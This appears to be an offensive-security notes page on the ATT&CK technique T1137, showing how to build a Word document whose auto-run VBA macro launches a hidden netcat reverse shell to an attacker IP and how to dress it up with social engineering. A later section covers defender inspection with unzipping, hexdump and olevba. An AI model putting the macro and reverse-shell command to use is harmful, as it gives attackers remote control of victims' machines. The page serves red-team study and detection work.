offensive security
T1137: Phishing - Office Macros
Code execution with VBA Macros
This technique will build a primitive word document that will auto execute the VBA Macros code once the Macros protection is disabled.
Weaponization
- 1.Create new word document (CTRL+N)
- 2.Hit ALT+F11 to go into Macro editor
- 3.Double click into the "This document" and CTRL+C/V the below:
macro
1
Private Sub Document_Open()
2
MsgBox "game over", vbOKOnly, "game over"
3
a = Shell("C:\tools\shell.cmd", vbHide)
4
End Sub
Copied!
C:\tools\shell.cmd
1
C:\tools\nc.exe 10.0.0.5 443 -e C:\Windows\System32\cmd.exe
Copied!
This is how it should look roughly in:
ALT+F11 to switch back to the document editing mode and add a flair of social engineering like so:
Save the file as a macro enabled document, for example a Doc3.dotm:
Doc3.dotm
30KB
Binary
Dot3.dotm - Word Document with Embedded VBA Macros
Execution
Victim launching the Doc3.dotm:
...and enabling the content - which results in attacker receiving a reverse shell:
Observations
The below graphic represents the process ancestry after the victim had clicked the "Enable Content" button in our malicious Doc3.dotm document:
Inspection
If you received a suspicious Office document and do not have any malware analysis tools, hopefully at least you have access to a WinZip or 7Zip and Strings utility or any type of Hex Editor to hand.
Since Office files are essentially ZIP archives (PK magic bytes):
1
[email protected]:/home/remnux# hexdump -C Doc3.dotm | head -n1
2
00000000 50 4b 03 04 14 00 06 00 08 00 00 00 21 00 cc 3c |PK..........!..<|
Copied!
...the file Dot3.dotm can be renamed to Doc3.zip and simply unzipped like a regular ZIP archive. Doing so deflates the archive and reveals the files that make up the malicious office document. One of the files is the
document.xml which is where the main document body text goes and vbaProject.bin containing the evil macros themselves:
Looking inside the
document.xml, we can see the body copy we inputted at the very begging of this page in the Weaponization section:
Additionally, if you have the strings or a hex dumping utility, you can pass the
vbaProject.bin through it. This can sometimes give you as defender enough to determine if the document is suspicious/malicious. Running
hexdump -C vbaProject.bin reveals some fragmented keywords that should immediately raise your suspicion - Shell, Hide, Sub_Open and something that looks like a file path:
If you have a malware analysis linux distro Remnux, you can easily inspect the VBA macros code contained in the document by issuing the command
olevba.py filename.dotm. As seen below, the command nicely decodes the vbaProject.bin and reveals the actual code as well as provides some interpretation of the commands found in the script:
Note that the olevba can be fooled as per http://www.irongeek.com/i.php?page=videos/derbycon8/track-3-18-the-ms-office-magic-show-stan-hegt-pieter-ceelen​
References
Office Application Startup, Technique T1137 - Enterprise | MITRE ATT&CK®
Last modified 3yr ago
Copy link